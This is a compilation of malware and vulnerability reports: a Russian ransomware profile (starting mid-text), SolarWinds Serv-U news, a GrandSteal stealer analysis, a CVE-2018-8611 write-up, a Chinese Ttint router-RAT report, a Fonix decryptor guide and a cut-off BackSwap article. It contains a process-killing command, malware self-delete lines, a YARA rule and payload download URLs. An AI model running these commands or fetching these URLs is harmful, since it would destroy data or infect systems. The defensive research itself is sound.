Использует taskkill.exe для завершения процессов: `C:\Windows\system32\cmd.exe /c taskkill /IM sql* /f` **Подробности о шифровании:** Он использует OpenSSL для шифрования файлов с помощью AES-256 (CBC PKCS#7 padding) и генерирует защищенные ключи для каждого файла (CryptGenRandom), зашифрованные RSA-2048. В первом варианте, который мы увидели, использовался маркер SALTED__, во втором его уже не было. **Список файловых расширений, подвергающихся шифрованию:** Многие популярные форматы. Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. **Файлы, связанные с этим Ransomware:** - help_to_decrypt.html - bigdata.exe - <random>.exe - случайное название вредоносного файла **Расположения:** - \Desktop\ - \User_folders\ - \%TEMP%\ **Записи реестра, связанные с этим Ransomware:** См. ниже результаты анализов. **Сетевые подключения и связи:** - Email-1: [email protected] - Email-2: [email protected] - BTC: 1PNvoH3U7qp28dZPRng3ufkA5YHjQjTYZZ **Степень распространённости:** низкая. Подробные сведения собираются регулярно. Присылайте образцы.
# SolarWinds Patches Critical Serv-U Vulnerability Exploited in the Wild SolarWinds is urging customers to patch a Serv-U remote code execution vulnerability exploited in the wild by "a single threat actor" in attacks targeting a limited number of customers. "Microsoft has provided evidence of limited, targeted customer impact, though SolarWinds does not currently have an estimate of how many customers may be directly affected by the vulnerability," the company said in an advisory published on Friday. "To the best of our understanding, no other SolarWinds products have been affected by this vulnerability. SolarWinds is unaware of the identity of the potentially affected customers." The zero-day vulnerability (tracked as CVE-2021-35211) impacts Serv-U Managed File Transfer and Serv-U Secure FTP, enabling remote threat actors to execute arbitrary code with privileges following successful exploitation. According to SolarWinds, "if SSH is not enabled in the environment, the vulnerability does not exist." The bug found by Microsoft Threat Intelligence Center (MSTIC) and Microsoft Offensive Security Research teams in the latest Serv-U 15.2.3 HF1 released in May 2021 also affects all prior versions. SolarWinds has addressed the security vulnerability reported by Microsoft with the release of Serv-U version 15.2.3 hotfix (HF) 2. ## Software Upgrade Paths - **Serv-U 15.2.3**: Apply Serv-U 15.2.3 HF2, available in your Customer Portal HF1 - **Serv-U 15.2.3**: Apply Serv-U 15.2.3 HF1, then apply Serv-U 15.2.3 HF2, available in your Customer Portal - **All Serv-U versions prior to 15.2.3**: Upgrade to Serv-U 15.2.3, then apply Serv-U 15.2.3 HF1, then apply Serv-U 15.2.3 HF2, available in your Customer Portal The company added that all other SolarWinds and N-able products (including the Orion Platform and Orion Platform modules) are unaffected by CVE-2021-35211. "SolarWinds released a hotfix Friday, July 9, 2021, and we recommend all customers using Serv-U install this fix immediately for the protection of your environment," the US-based software firm warned. SolarWinds provides additional info on how to find if your environment was compromised during the attacks Microsoft reported. Customers can also request more information by opening a customer service ticket with the subject "Serv-U Assistance." ## The SolarWinds Orion Supply-Chain Attack Last year, SolarWinds disclosed a supply-chain attack coordinated by the Russian Foreign Intelligence Service. The attackers breached the company's internal systems and trojanized the Orion Software Platform source code and builds released between March 2020 and June 2020. The malicious builds were later used to deliver a backdoor tracked as Sunburst to "fewer than 18,000," but, luckily, the threat actors only picked a substantially lower number of targets for second-stage exploitation. Right before the attack was disclosed, SolarWinds' list of 300,000 customers worldwide included more than 425 US Fortune 500 companies, all top ten US telecom companies, and a long list of government agencies, including the US Military, the US Pentagon, the State Department, NASA, NSA, Postal Service, NOAA, the US Department of Justice, and the Office of the President of the United States. Multiple US government agencies confirmed that they were breached in the SolarWinds supply-chain attack, with the list including: - the Department of the Treasury - the National Telecommunications and Information Administration (NTIA) - the Department of State - the National Institutes of Health (NIH) (part of the U.S. Department of Health) - the Department of Homeland Security (DHS) - the Department of Energy (DOE) - the National Nuclear Security Administration (NNSA) In March, SolarWinds reported expenses of $3.5 million from last year's supply-chain attack, including costs related to remediation and incident investigation. Even though $3.5 million doesn't seem too much compared to the aftermath of the SolarWinds supply-chain attack, the incurred expenses reported so far were recorded only through December 2020, with high extra costs being expected throughout the subsequent financial periods.
# Analysis of .Net Stealer GrandSteal (2019-03-18) In this post, I share my notes about the analysis of a sample (a stealer written in .Net) whose family is unknown to me. Somebody tagged the sample as Quasar at Any.Run; however, after analyzing it and comparing it with Quasar code, I concluded this sample doesn't seem to belong to the Quasar family. Searching for information about the collected IoCs was not successful in classifying the sample. I am calling it GrandSteal because of the internal names of the .Net classes of the malware's decompiled code. **Original Packed Sample:** 89782B6CDAAAB7848D544255D5FE7002 **Source Url:** http://a4.doshimotai[.]ru/pxpx.exe **Info Url:** VxVault URLhaus **Automatic Generated Report:** PepperMalware Report **Virustotal First Submission:** 2019-03-18 22:28:20 **Any.Run Analysis:** Here **Any.Run Tags:** Evasion, Trojan, Rat, Quasar **My Classification:** I named it GrandSteal because of the internal .Net class names. **Decompiled Source Code:** PepperMalware Github ## Analysis 1. **Loader** - The sample is not signed. - **Version Info:** - Product: Symantec© 2019 - Description: pxpx.exe - Original Name: pxpx.exe - Internal Name: pxpx.exe - File Version: 7.1.0.0 - Comments: Symantec Application - The loader module is a .Net executable that is obfuscated with ConfuserEx v1.0.0. 2. **Unpacked Modules** - Once we have executed the sample into the VM, we can check with Windbg that the malware unpacks a set of modules in memory. After dumping these executables to disk, we check that most of them are .Net executables that we can decompile with dnSpy. GrandSteal.* are the main modules of the malware. I uploaded the decompiled code for these modules to my GitHub. Additionally, the malware carries some libraries that it will need. 2.1. **List of Unpacked Modules** 2.2. **Stealer** - The malware contains code to steal credentials from different products. 2.2.1. **Chromium Stealer** - The malware is able to steal different information from Chromium Browsers. The source code related to this functionality is ChromiumManager.cs. The malware steals all the Chromium's information from the browser's sqlite database. - **Cookies:** It reads the cookies table from the sqlite database. - **Credentials:** It reads the logins table from the sqlite database. - **Auto Fills:** It reads the autofill table from the sqlite database. - **Credit Cards:** It reads the table credit_cards from the sqlite database. 2.2.2. **Wallets Stealer** - The malware is able to steal wallets from the following crypto-coin products: - Litecoin: "%appdata%\Litecoin\wallet.dat" - Litecoin-Qt: walletpath=read("HKCU\Software\Litecoin\strDataDir"), walletpath + "wallet.dat" - Bitcoin: "%appdata%\Bitcoin\wallet.dat" - Bytecoin: "%appdata%\bytecoin\*.wallet" - Exodus: "%appdata%\Exodus\*" - Ethereum: "%appdata%\Ethereum\wallets\*" - The source code related to this functionality is ColdWalletManager.cs. 2.2.3. **Files From Personal Directories Stealer** - The malware can steal files from Desktop, Favorites, and Personal folders. The source code related to this functionality is DesktopFileManager.cs. 2.2.4. **Discord Software Stealer** - The malware is able to steal information from Discord by using a curious method. It calls DbgHelp.dll APIs (MiniDumpWriteDump) to create a minidump of any process containing the word "Discord" in the name. The source code related to this functionality is DiscordManager.cs. 2.2.5. **FileZilla Stealer** - The malware reads credentials from FileZilla XML files. The source code related to this functionality is FileZillaManager.cs. 2.2.6. **Gecko Stealer** - The malware locates some Gecko important files and is able to recover credentials and cookies. The source code related to this functionality is GeckoManager.cs. 2.2.7. **RDP Stealer** - The malware can steal RDP credentials. The source code related to this functionality is RdpManager.cs. 2.2.8. **Telegram Stealer** - The malware reads the files located at "%appdata%\Telegram Desktop\tdata\D877F783D5D3EF8C\map*". From those files, it tries to recover Telegram sessions. The source code related to this functionality is TelegramManager.cs. 3. **Yara Rules** ``` rule grandsteal { strings: $s1 = "ws://{0}:{1}/websocket" wide $s2 = "GrabBrowserCredentials: " wide $s3 = "GrabColdWallets: " wide $s4 = "GrabDesktopFiles: " wide $s5 = "GrabTelegram: " wide $s6 = "ColdWallets parser has been started" wide $s7 = "DiscordSession parser has been started" wide $s8 = "Rdps parser has been started" wide $s9 = "DesktopFiles parser has been started" wide $s10 = "FTPs parser has been started" wide $s11 = "TelegramSession parser has been started" wide $s12 = "ListOfProcesses parser has been started" wide $s13 = "ListOfPrograms parser has been started" wide $s14 = "card_number_encrypted" wide $s15 = "\\Litecoin\\wallet.dat" wide $s16 = "\\Bitcoin\\wallet.dat" wide $s17 = "\\Exodus\\exodus.wallet" wide $s18 = "\\Electrum\\wallets" wide $s19 = "\\Ethereum\\wallets" wide $s20 = "monero-project" wide $s21 = "Discord dump UNKNOWN" wide $s22 = "{0}\\FileZilla\\recentservers.xml" wide $s23 = "{0}\\FileZilla\\sitemanager.xml" wide $s24 = "cookies.sqlite" wide $s25 = "password-check" wide $s26 = "AppData\\Roaming\\Telegram Desktop\\tdata\\D877F783D5D3EF8C" wide $s27 = "%USERPROFILE%\\AppData\\Local\\Temp\\Remove.bat" wide $s28 = "taskkill /F /PID %1" wide $s29 = "choice /C Y /N /D Y /T 3 & Del %2" wide $s30 = "ExtractPrivateKey" wide $s31 = "formSubmitURL" wide $s32 = "passwordField" wide $s33 = "usernameField" wide $s34 = "GrabDiscord" wide $s35 = "encryptedPassword" wide $s36 = "masterPassword" wide $s37 = "WalletName" wide condition: (30 of them) } ``` 4. **Strings of the Main Unpacked Module** ``` SQLite format 3 ws://{0}:{1}/websocket Server is initialized CredentialsRequest has been created ParseClientSettings GrabBrowserCredentials: GrabColdWallets: GrabDesktopFiles: GrabTelegram: Invalid JsonMessage data from server. Exception : ClientInfos parser has been started ClientInfos has been parsed. Elapsed time: {0} Browsers parser has been started Browsers has been parsed. Elapsed time: {0} ColdWallets parser has been started ColdWallets has been parsed. Elapsed time: {0} DiscordSession parser has been started DiscordSession has been parsed. Elapsed time: {0} Rdps parser has been started Rdps has been parsed. Elapsed time: {0} DesktopFiles parser has been started DesktopFiles has been parsed. Elapsed time: {0} FTPs parser has been started FTPs has been parsed. Elapsed time: {0} TelegramSession parser has been started TelegramSession has been parsed. Elapsed time: {0} ListOfProcesses parser has been started ListOfProcesses has been parsed. Elapsed time: {0} ListOfPrograms parser has been started ListOfPrograms has been parsed. Elapsed time: {0} encrypted_value expiration_month expiration_year card_number_encrypted username_value password_value AppData\Roaming\ AppData\Local\ \Litecoin\wallet.dat \Bitcoin\wallet.dat \Exodus\exodus.wallet \Electrum\wallets \Ethereum\wallets monero-project JsonSession UNKNOWN Discord dump UNKNOWN Discord process UNKNOWN ({ "token":"(.*)}}]}) {0}\FileZilla\recentservers.xml {0}\FileZilla\sitemanager.xml cookies.sqlite [^\u0020-\u007F] password-check AppData\Roaming\Telegram Desktop\tdata AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8C D877F783D5D3EF8C* AppData\Roaming AppData\Local\Temp The binary key cannot have an odd number of digits: {0} %USERPROFILE%\AppData\Local\Temp\Remove.bat taskkill /F /PID %1 choice /C Y /N /D Y /T 3 & Del %2 ClientSettings.db 1.85 (Hash, version 2, native byte-order) FileDescription GrandSteal.Client.Data GrandSteal.Client.Data.dll ExtractPrivateKey3 ExtractPrivateKey4 get_formSubmitURL set_formSubmitURL GrandSteal.Client.Data RoamingAppData get_ObjectData set_ObjectData System.Collections.Generic Microsoft.VisualBasic get_ManagedThreadId get_CurrentThread get_timePasswordChanged set_timePasswordChanged get_timeLastUsed set_timeLastUsed get_timeCreated set_timeCreated HandleWorkCompleted OnWorkCompleted countCompleted OnResponseRecieved add_DataReceived add_MessageReceived System.Collections.Specialized get_passwordField set_passwordField get_usernameField set_usernameField BrowserCreditCard get_GrabDiscord get_encryptedPassword set_encryptedPassword get__masterPassword set_WalletName get_encryptedUsername set_encryptedUsername set_AllowUnstrustedCertificate DebuggerNonUserCodeAttribute DebuggableAttribute ComVisibleAttribute AssemblyTitleAttribute UserScopedSettingAttribute AssemblyTrademarkAttribute ExtensionAttribute AssemblyFileVersionAttribute AssemblyConfigurationAttribute AssemblyDescriptionAttribute CompilationRelaxationsAttribute AssemblyProductAttribute AssemblyCopyrightAttribute ConfusedByAttribute ParamArrayAttribute AssemblyCompanyAttribute RuntimeCompatibilityAttribute get_SQLDataTypeSize clientInfoFlag set_EnableAutoSendPing System.Threading get_DataEncoding FromBase64String DownloadString CreateTempPath get_ObjectLength set_ObjectLength set_ExpirationMonth get_Passwordcheck TransformFinalBlock ReadBrowserCredendtial ExtractManagerCredential ExtractRecentCredential op_GreaterThanOrEqual set_AutoSendPingInterval RuntimeTypeModel System.ComponentModel GrandSteal.Client.Data.dll BrowserAutofill get_BaseStream UserStreamParam ExceptionParam get_GrabTelegram SymmetricAlgorithm ICryptoTransform IsNullExtension DiscordSession discordSession TelegramSession telegramSession FindDiscordJsonSession GrandSteal.SharedModels.Communication set_ClientInformation RemoteClientInformation System.Configuration System.Globalization System.Reflection StringCollection MatchCollection CryptographicException ArgumentException GeckoPasswordBasedEncryption GrandSteal.Client.Models.Extensions.Json FileSystemInfo ProcessStartInfo GrandSteal.Client.Data.Gecko DeSerializeProto MiniDumpWriteDump set_ExpirationYear Key4MagicNumber set_CardNumber SHA1CryptoServiceProvider MD5CryptoServiceProvider TripleDESCryptoServiceProvider CrytoServiceProvider IFormatProvider FileZillaManager DiscordManager DesktopFileManager TelegramManager ChromiumManager ColdWalletManager ConvertToInteger ObjectIdentifier ResponseHandler System.CodeDom.Compiler ClientInfoHelper RecoveryHelper GrandSteal.Client.Data.Server InitializeServer CreateDecryptor System.Diagnostics AddMilliseconds timeoutMilliseconds get_BrowserCreditCards set_BrowserCreditCards GetCreditCards System.Runtime.InteropServices Microsoft.VisualBasic.CompilerServices System.Runtime.CompilerServices DebuggingModes get_ChildNodes get_BrowserCookies set_BrowserCookies get_Directories GetDirectories get_MasterEntries set_MasterEntries ExpandEnvironmentVariables Microsoft.Win32.SafeHandles set_DesktopFiles get_GrabDesktopFiles set_BrowserProfiles browserProfiles set_AutoAddMissingTypes ListOfProcesses RecieveSettings ClientSettings DataReceivedEventArgs MessageReceivedEventArgs ErrorEventArgs get_BrowserCredendtials set_BrowserCredendtials GrandSteal.Client.Models.Credentials SendCredentials rdpCredentials set_FtpCredentials ExtractFtpCredentials ftpCredentials get_GrabBrowserCredentials GetCredentials GrandSteal.SharedModels.Models GrandSteal.Client.Models GrandSteal.SharedModels get_BrowserAutofills set_BrowserAutofills GrandSteal.Client.Models.Extensions.Nulls set_InstalledPrograms ListOfPrograms GrandSteal.Client.Models.Extensions get_DesktopFileExtensions set_DesktopFileExtensions JsonExtensions ProtoExtensions get_DesktopExtensions set_DesktopExtensions RequestsExtensions System.Text.RegularExpressions System.Collections set_RdpConnections StringSplitOptions get_DesktopFileManagers get_RdpManagers get_FtpManagers get_BrowserCredentialsManagers get_ColdWalletManagers GrandSteal.Client.Data.Helpers RuntimeHelpers FindDisordProcess GetCurrentProcess set_ColdWallets get_GrabColdWallets get_disabledHosts set_disabledHosts GrabLitecoinQt CommunicationObject ReadTableFromOffset get__globalSalt get__entrySalt GetValueOrDefault CredentialManagement get_DocumentElement get_SqlStatement set_SqlStatement AutoResetEvent set_Screenshot CredentialsRequest set_ProcessList set_CreateNoWindow ConvertHexStringToByteArray InitializeArray FindValueByKey System.Security.Cryptography GetEntryAssembly CreateTempCopy GrandSteal.Client.Data.Recovery set_WorkingDirectory profilesDirectory GetCurrentDirectory GeckoRootEntry ```
# Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611) **Research** 12 Dec 2018 **Authors** Boris Larin Vladislav Stolyarov Anton Ivanov ## Executive summary In October 2018, our AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in the Microsoft Windows operating system. Further analysis led us to uncover a zero-day vulnerability in ntoskrnl.exe. We reported it to Microsoft on October 29, 2018. The company confirmed the vulnerability and assigned it CVE-2018-8611. Microsoft just released a patch, part of its December update, crediting Kaspersky Lab researchers Boris Larin (Oct0xor) and Igor Soumenkov (2igosha) with the discovery. This is the third consecutive exploited Local Privilege Escalation vulnerability in Windows we discovered this autumn using our technologies. Unlike the previously reported vulnerabilities in win32k.sys (CVE-2018-8589 and CVE-2018-8453), CVE-2018-8611 is an especially dangerous threat – a vulnerability in the Kernel Transaction Manager driver. It can also be used to escape the sandbox in modern web browsers, including Chrome and Edge, since syscall filtering mitigations do not apply to ntoskrnl.exe system calls. Just like with CVE-2018-8589, we believe this exploit is used by several threat actors including, but possibly not limited to, FruityArmor and SandCat. While FruityArmor is known to have used zero-days before, SandCat is a new APT we discovered only recently. In addition to this zero-day and CHAINSHOT, SandCat also uses the FinFisher / FinSpy framework. Kaspersky Lab products detected this exploit proactively through the following technologies: 1. Behavioral detection engine and Automatic Exploit Prevention for endpoint products 2. Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA) Kaspersky Lab verdicts for the artifacts used in this and related attacks are: - HEUR:Exploit.Win32.Generic - HEUR:Trojan.Win32.Generic - PDM:Exploit.Win32.Generic ## Brief details – CVE-2018-8611 vulnerability CVE-2018-8611 is a race condition that is present in the Kernel Transaction Manager due to improper processing of transacted file operations in kernel mode. This vulnerability successfully bypasses modern process mitigation policies, such as Win32k System call Filtering that is used, among others, in the Microsoft Edge Sandbox and the Win32k Lockdown Policy employed in the Google Chrome Sandbox. Combined with a compromised renderer process, for example, this vulnerability can lead to a full Remote Command Execution exploit chain in the latest state-of-the-art web browsers. We have found multiple builds of exploit for this vulnerability. The latest build includes changes to reflect the latest versions of the Windows OS. A check for the latest build at the time of discovery: Windows 10 Redstone 4 Build 17133. Similarly to CHAINSHOT, this exploit heavily relies on the use of C++ exception handling mechanisms with custom error codes. To abuse this vulnerability, the exploit first creates a named pipe and opens it for read and write. Then it creates a pair of new transaction manager objects, resource manager objects, transaction objects, and creates a big number of enlistment objects for what we will call “Transaction #2”. Enlistment is a special object that is used for association between a transaction and a resource manager. When the transaction state changes, the associated resource manager is notified by the KTM. After that, it creates one more enlistment object only now it does so for “Transaction #1” and commits all the changes made during this transaction. After all the initial preparations have been made, the exploit proceeds to the second part of the vulnerability trigger. It creates multiple threads and binds them to a single CPU core. One of the created threads calls NtQueryInformationResourceManager in a loop, while the second thread tries to execute NtRecoverResourceManager once. But the vulnerability itself is triggered in the third thread. This thread uses a trick of execution NtQueryInformationThread to obtain information on the latest executed syscall for the second thread. Successful execution of NtRecoverResourceManager will mean that a race condition has occurred and further execution of WriteFile on the previously created named pipe will lead to memory corruption. ## Proof of concept As always, we provided Microsoft with a proof of concept for this vulnerability, along with source code. And it was later shared through Microsoft Active Protections Program (MAPP). More information about SandCat, FruityArmor, and CVE-2018-8611 is available to customers of Kaspersky Intelligence Reports. Contact: [email protected] **Tags:** APT Microsoft Windows Proof-of-Concept Targeted attacks Zero-day vulnerabilities
# Ttint: 一款通过2个0-day漏洞传播的IoT远控木马 **作者**: 涂凌鸣,马延龙,叶根深 **日期**: 2020年9月30日 ## 背景介绍 从2019年11月开始,360Netlab未知威胁检测系统Anglerfish蜜罐节点相继监测到某个攻击者使用2个腾达路由器0-day漏洞传播一个基于Mirai代码开发的远程控制木马(RAT)。常规的Mirai变种基本都是围绕DDoS做文章,而这个变种不同,在DDoS攻击之外,它针对路由器设备实现了Socket5代理,篡改路由器DNS,设置iptables,执行自定义系统命令等多达12个远程控制功能。 此外,在C2通信层面,它使用WSS (WebSocket over TLS) 协议,一方面这样在流量层面可以规避非常成熟的Mirai流量检测,另一方面可以为C2提供安全加密通信。我们怀疑这个僵尸网络也许不是普通玩家,因此将其命名为Ttint。 ## 0-day漏洞攻击 2019年11月9号,我们监测到攻击者使用第一个Tenda路由器0-day漏洞(CVE-2018-14558 & CVE-2020-10987),传播Ttint样本。值得注意的是,这个漏洞直到2020年7月10号才被披露出来。 2020年8月21号,我们监测到攻击者使用第二个Tenda路由器0-day漏洞,传播Ttint样本。2020年8月28号,我们通过邮件向路由器厂商Tenda报告了第二个0-day漏洞详情以及在野PoC,尚未得到厂商回复。 ## 0-day漏洞影响范围 360 FirmwareTotal系统通过对Tenda路由器固件分析和漏洞验证,发现以下Tenda路由器固件受影响: - US_AC9V1.0BR_V15.03.05.14_multi_TD01 - US_AC9V1.0BR_V15.03.05.16_multi_TRU01 - US_AC9V1.0BR_V15.03.2.10_multi_TD01 - US_AC9V1.0BR_V15.03.2.13_multi_TD01 - US_AC9V1.0BR_V15.03.2.13_multi_TDE01 - US_AC9V3.0RTL_V15.03.06.42_multi_TD01 - US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01 - US_AC15V1.0BR_V15.03.05.18_multi_TD01 - US_AC15V1.0BR_V15.03.05.19_multi_TD01 - US_AC15V1.0BR_V15.03.1.8_EN_TDEUS - US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS - US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS - US_AC15V1.0BR_V15.03.1.12_multi_TD01 - US_AC15V1.0BR_V15.03.1.16_multi_TD01 - US_AC15V1.0BR_V15.03.1.17_multi_TD01 - US_AC18V1.0BR_V15.03.05.05_multi_TD01 - US_AC18V1.0BR_V15.03.3.6_multi_TD01 - US_AC18V1.0BR_V15.03.3.10_multi_TD01 - ac9_kf_V15.03.05.19(6318_)_cn - ac18_kf_V15.03.05.19(6318_)_cn ## Ttint概览 Ttint是一款基于Mirai代码开发的,针对路由器设备的远程控制木马。它除了复用10个Mirai DDoS攻击指令以外,还实现了12个控制指令。我们分析对比了2个时期的Ttint样本,发现它们的C2指令是完全相同的,但它们在所使用的0-day漏洞,XOR Key,C2协议上有一些区别。 ## 逆向分析 总体来说,Ttint的主机行为比较简单,运行时,删除自身文件,操纵watchdog,防止设备重启;通过绑定端口实现单一实例;接着把修改进程名以迷惑用户;最后和解密得到的C2建立连接,上报设备信息,等待C2下发指令,执行对应的攻击或自定义功能。 我们可以看出它保留了mirai大量特征,诸如单一实例,随机进程名,敏感配制信息加密,集成大量攻击向量等;同时创新地重写了网络通信部分,采用websocket协议,在流量层面规避非常成熟的Mirai流量检测。 ## Ttint v2 样本分析 **MD5**: 73ffd45ab46415b41831faee138f306e **类型**: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped **Lib**: uclib ### Socket5代理 绑定C2下发的特定端口,开启Socket5代理服务。这可以让攻击者远程访问路由器内网,实现内网漫游。 ### 篡改路由器DNS 通过修改resolv.conf文件来篡改路由器DNS,结果是Ttint的作者可以劫持受影响路由设备下用户的任意网络访问,窃取敏感信息。 ### 设置iptables 通过设置iptables,实现流量转发,目标地址转化功能,下面的模式是将内网的服务暴露到公网上。 ### 反向shell 通过socket实现反向shell,Ttint的作者可以像使用本地shell一样操作受影响路由设备的shell。 ### 自升级 从指定的Download URL(默认为uhyg8v.notepod2.com:5001)下载相应CPU架构的Bot程序,实现自升级。 ### 自退出 Ttint通过绑定57322端口实现单一实例,因此杀死使用这个端口的进程,就能实现自退出,达成清理现场的目的。 ### 隐秘的网络通道 通过nc工具监听C2下发的特定端口实现,其中-d的参数的含义是"Detach from stdin",因此我们推测PORT之后存在着重定向的相关指令,可以实现Ttint作者和受影响路由设备之间的数据传输。 ### 上报设备信息 将设备的time,os,cpu,ip,version,mac信息上报给C2,不过在样本中的格式化字串中出现了一个Bug,遗漏了一个"&"字符。 ### 执行系统命令 通过popen函数,执行C2下发的自定义系统命令。 ## C2协议分析 Ttint Bot样本的C2信息按照Mirai形式加密存储在配置信息表中,XOR Key为0x0EDFCEBDA。C2指令支持22种,其中复用了Mirai的10种DDoS指令,自己实现了12种C2指令。 ## 处置建议 我们建议Tenda路由器用户及时检查并更新固件系统。我们建议读者对相关IP和URL进行监控和封锁。 ## 联系我们 感兴趣的读者,可以在Twitter或者通过邮件netlab[at]360.cn联系我们。 ## IoC **IP**: - 34.92.85.21 (Hong Kong, ASN15169, GOOGLE) - 34.92.139.186 (Hong Kong, ASN15169, GOOGLE) - 43.249.29.56 (Hong Kong, ASN133115, HK Kwaifong Group Limited) - 45.249.92.60 (Hong Kong, ASN133115, HK Kwaifong Group Limited) - 45.249.92.72 (Hong Kong, ASN133115, HK Kwaifong Group Limited) - 103.60.220.48 (Hong Kong, ASN133115, HK Kwaifong Group Limited) - 103.108.142.92 (Hong Kong, ASN133115, HK Kwaifong Group Limited) - 103.243.183.248 (Hong Kong, ASN133115, HK Kwaifong Group Limited) **C2**: - cnc.notepod2.com:23231 - back.notepod2.com:80 - q9uvveypiB.notepod2.com:443 **Update Server**: - uhyg8v.notepod2.com:5001 **URL**: - http://45.112.205.60/td.sh - http://45.112.205.60/ttint.i686 - http://45.112.205.60/ttint.arm5el - http://45.112.205.60/ttint.mipsel - http://34.92.139.186:5001/bot/get.sh - http://34.92.139.186:5001/bot/ttint.mipsel - http://34.92.139.186:5001/bot/ttint.x86_64 **MD5**: - 3e6a16bcf7a9e9e0be25ae28551150f5 - 4ee942a0153ed74eb9a98f7ad321ec97 - 6bff8b6fd606e795385b84437d1e1e0a - 733f71eb6cfca905e8904d0fb785fb43 - a89cefdf71f2fced35fba8612ad07174 - c5cb2b438ba6d809f1f71c776376d293 - cfc0f745941ce1ec024cb86b1fd244f3 - 73ffd45ab46415b41831faee138f306e
# Fonix Ransomware Decryptor **Bogdan BOTEZATU** February 04, 2021 A decryptor for Fonix Ransomware is now available for download. Also known as FonixCrypter or Xinof, this family of malware was initially spotted in June 2020 and went out of business in late January this year. The news, broken by one of the project’s administrators, also includes master keys and a bare-bones decryptor that can potentially be used to recover one file at a time. Bitdefender researchers have been working on a free decryptor that can safely help victims get back their ransomed information for free. The tool works on an infected PC with an active internet connection. ## How to use this tool **Step 1:** Download the decryption tool below and save it on your computer. **Step 2:** Double-click the file (previously saved as BDFonixDecryptor.exe) and allow it to run. **Step 3:** Select “I Agree” in the License Agreement screen. *Note: The tool requires that affected users must have at least 1 cpriv.key file present on their PCs, either in the target folder to decrypt, or anywhere else on disk(s).* **Step 4:** Select “Scan Entire System” if you want to search for all encrypted files, or just add the path to the location you previously saved the encrypted files in. We strongly recommend that you also select “Backup files” before starting the decryption process should issues occur while decrypting. Then press “Start Tool”. At the end of this step, your files should have been decrypted. If you encounter any issues, please contact us at [email protected]. If you have checked the backup option, you will see both the encrypted and decrypted files. You can also find a log of the decryption process in the temp%\BDRemovalTool folder. To remove the encrypted files left behind, you should search for files matching the extension and mass-remove them. We do not encourage you to do this until you made sure that your files can be opened safely and there is no damage to the decrypted files. **Acknowledgement:** This product may include software developed by the OpenSSL Project, for use in the OpenSSL Toolkit. **TAGS** anti-malware research, free tools **AUTHOR** Bogdan BOTEZATU Information security professional. Living my second childhood at @Bitdefender as director of threat research.
# Cyber Security Updates **09 March 2021** **Why managing the human factors is crucial to a successful cyber security crisis response** In this blog, Lorena Gutierrez discusses why a successful response to a cyber security crisis strongly relies on a number of human factors. **08 March 2021** **Womxn in Cyber’s latest Inspirational Womxn event** At Womxn in Cyber, we are always looking for opportunities to uplift and celebrate the many success stories of our colleagues. **07 January 2021** **Why the oil and gas sector needs to stay alert to cyber security threats** The oil and gas sector continues to play a key role in meeting today’s energy demands. Find out why the industry must stay alert to cyber security threats. **22 December 2020** **Why maritime cyber security regulations are vital for protecting physical safety** The maritime sector is increasingly under attack from cyber threat actors. Find out why cyber security regulations are vital for protecting physical safety. **23 November 2020** **Short changed: vendors risk leaving money on the table by failing to highlight their cyber security credentials in preparation for sale** When preparing a divestment, vendors run the risk of having their business undervalued. Cyber security tends to be an afterthought when this is being planned. **28 October 2020** **Six ways to reduce the risk from human-operated ransomware attacks** Ransomware attacks are one of the most dangerous cyber threats today. This blog will highlight six ways on how you can reduce the risk of these happening. **October 2020** **Four cyber security principles that will help private equity funds maximise their return on investment** A new guide published by the BVCA and supported by PwC explains the importance and nuances of cyber security within the deals lifecycle. **18 September 2020** **Eight ways to improve your cyber resilience after COVID-19** In this blog we look at how businesses can evaluate and improve their cyber resilience after implementing new technologies during the COVID-19 pandemic.
# The Evolution of BackSwap ## The Story of An Innovative Banking Malware **Research By:** Itay Cohen ### Introduction The BackSwap banker has been in the spotlight recently due to its unique and innovative techniques to steal money from victims while staying under the radar and remaining undetected. This malware was previously spotted targeting banks in Poland but has since moved entirely to focus on banks in Spain. The techniques used by it were thoroughly described by our fellow researchers at the Polish CERT and Michal Poslusny from ESET, who revealed and coined the malware’s name earlier this year. However, after witnessing ongoing improvements to its malicious techniques, we decided to share this information with the wider research community. In the following research paper, we will focus on the evolution of BackSwap, its uniqueness, successes, and even failures. We will try to give an overview of the malware’s different versions and campaigns while outlining its techniques, some of which were proven inefficient and dropped soon after their release by the developers. We will also share a detailed table of IOC and a Python3 script used to extract relevant information from BackSwap’s samples. ### BackSwap Overview Banking malware is not a new phenomenon. Zbot, Gozi, Dridex, Carberp, and other notorious banking trojans took advantage of the increased use of the internet for issuing bank transactions and made good profit from it. For years, these malware families found advanced and sophisticated ways to steal bank credentials and credit card details from innocent victims and abuse this information for stealing money. In response to this, the security industry, as well as web-browser companies such as Google and Mozilla, fought back with better security mechanisms and detections. Most banking malware steals money by injecting their code into the memory of the victim’s browser. This code would hook the appropriate communication functions in the browser to intercept any private banking data. This data would then be issued to the attacker via some protocol of exfiltration. This approach has proven to be quite complex and unstable, as the injected code must be adapted to each target browser. Moreover, the attackers have to keep track of the fast and ever-changing code of modern browsers, which is indeed a challenge. This, among other reasons, could explain what seems to be a decrease in the popularity of banking malware. Indeed, we have seen a lot of the aforementioned banking trojans replaced with far more lucrative and profitable malware families; crypto miners and ransomware are good examples. This set a perfect scenario for the appearance of BackSwap, which is unique in being both simple and yet effective in stealing banking credentials. BackSwap is written in assembly as position-independent code, which hides itself inside a big set of popular and legitimate software. Some examples are programs like 7-Zip, FileZilla, and Notepad++. On the surface, the executables for these programs look innocent, but they are bundled with code that was meticulously implanted by the attackers and is not evident at first sight. This code is what will eventually execute when the user launches any of the aforementioned applications, while the real legitimate code will never run. This payload can be found in arbitrary places inside the original program, such that it overrides very particular chunks of the original code. This method is used for the purpose of diverting the execution of the legitimate code to a compact piece of shellcode that constitutes the malware’s logic. This latter code is very small in comparison to the size of the original program, thus further complicating the ability to detect it by security tools and endpoint products. Such systems would scan only chunks of the binaries they deal with, which gives way for BackSwap to hide deep within code that will otherwise not be flagged as malicious. The method of diversion mentioned above demonstrates a level of creativity that is not common in banking malware and would more likely be spotted in targeted attacks 